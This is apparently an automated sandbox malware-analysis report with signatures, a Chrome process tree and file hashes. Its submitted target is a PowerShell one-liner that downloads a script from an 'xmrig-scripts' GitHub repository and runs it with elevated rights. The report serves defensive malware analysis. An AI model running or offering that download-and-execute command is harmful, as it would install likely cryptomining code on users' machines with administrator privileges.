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Analysis

  • max time kernel
    599s
  • max time network
    547s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/06/2024, 23:27

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Malware Config

Signatures

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
    1⤵
    • Access Token Manipulation: Create Process with Token
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4496
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd70c3ab58,0x7ffd70c3ab68,0x7ffd70c3ab78
      2⤵
        PID:4740
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1756 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:2
        2⤵
          PID:3352
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
          2⤵
            PID:2804
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2188 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
            2⤵
              PID:1252
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2952 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
              2⤵
                PID:3772
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2960 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                2⤵
                  PID:3872
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4192 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                  2⤵
                    PID:3052
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3236 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                    2⤵
                      PID:3828
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3272 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
                      2⤵
                        PID:3064
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4676 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
                        2⤵
                          PID:4816
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4112 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                          2⤵
                            PID:4540
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4752 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
                            2⤵
                              PID:4344
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4756 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
                              2⤵
                                PID:3444
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:8
                                2⤵
                                  PID:440
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4164 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                                  2⤵
                                    PID:1824
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=212 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                                    2⤵
                                      PID:1648
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4336 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:2
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4592
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=4364 --field-trial-handle=1872,i,9692244446465529470,17169913388036343066,131072 /prefetch:1
                                      2⤵
                                        PID:3536
                                    • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                      "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                      1⤵
                                        PID:2740

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                        Filesize

                                        2B

                                        MD5

                                        d751713988987e9331980363e24189ce

                                        SHA1

                                        97d170e1550eee4afc0af065b78cda302a97674c

                                        SHA256

                                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                        SHA512

                                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        7KB

                                        MD5

                                        be8804c65b82995bfa443449ec5e7066

                                        SHA1

                                        d0ab86c8a93c99378112f7406a72cafae1d438fc

                                        SHA256

                                        74c3840e44af9051b6ec4a2b58e9d784c5cc5f7b93dcb8f83eed383442f3701d

                                        SHA512

                                        3e31df4e2a6d0bde2eb50c28877e93ea0543f6e3af6739bda3e7cb6835af08fb766308860ed5cec48704a88774d82aed4d643c461ec163263d76a4ec97cc3b5f

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        257KB

                                        MD5

                                        fe99dd73173d899aebe5afc2e9464cd0

                                        SHA1

                                        5ade0943a00363d4bd6c672c95bd577dc457c958

                                        SHA256

                                        3d47d26e85477460301746646b72a83ada3927af23e21f5ab1d950b0dcdc37ad

                                        SHA512

                                        80dc511aa2db15269d4000712eb0ef9b5d63849bca5bb050405155029ce0da2956d1d329634f7952846f19bb44f8400deb6dbdfec9b02f29af73ed9cb0396caf

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        257KB

                                        MD5

                                        c2443576dfa385244870eafa6893d069

                                        SHA1

                                        8a6cbaa249ec999b706ca3d1650cd6c2b1faa6a0

                                        SHA256

                                        550bd8b0fdcaf5ca4111930ac268647b69f349522ce57429bdec98a1472653bf

                                        SHA512

                                        5968748ba7cc3ed213555d4eaabcf5385aebb4ab2eed3bd64f8d8739cbd24bac549b8fd70fc420f8aa80dd9f2b50e30dc203b68ecefc0ceec669a8ad041bda10

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

                                        Filesize

                                        91KB

                                        MD5

                                        1f1d07b05660874079e4c32a43e87061

                                        SHA1

                                        a115831951bb7177fecb5d359b3c7d5a9a8373bb

                                        SHA256

                                        36091c320238238b5c704e88392e325b6e480b47e60d885384c4074f34aa2c7d

                                        SHA512

                                        c571c826358c8d6b43807b7c1df6ccb5e57cec6d180bf7008e03f3ed8b4375e7f4a6a3940bd021ea40fb9dbf0cbbb6af1d349f7f4e64b75ebdbeae255f6a1578

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe57e157.TMP

                                        Filesize

                                        88KB

                                        MD5

                                        1d6de588bbd0c05688ebccbb1df4f599

                                        SHA1

                                        35f19fdc3cfba06064524e8f06e7b839ea0ba5d3

                                        SHA256

                                        58e7c5aed52faac8b67beabf9383c5d8b5fc347b1fc4f270baf6344d5ef00c47

                                        SHA512

                                        c7c9a898e70c58127a6f26b37144a647f37dfa79acfb4f0c1ec8faebb21465da4abbfa2c5a00d26cb72e717e0b5905ab3278cf33838e02cc434b91a46cf9280c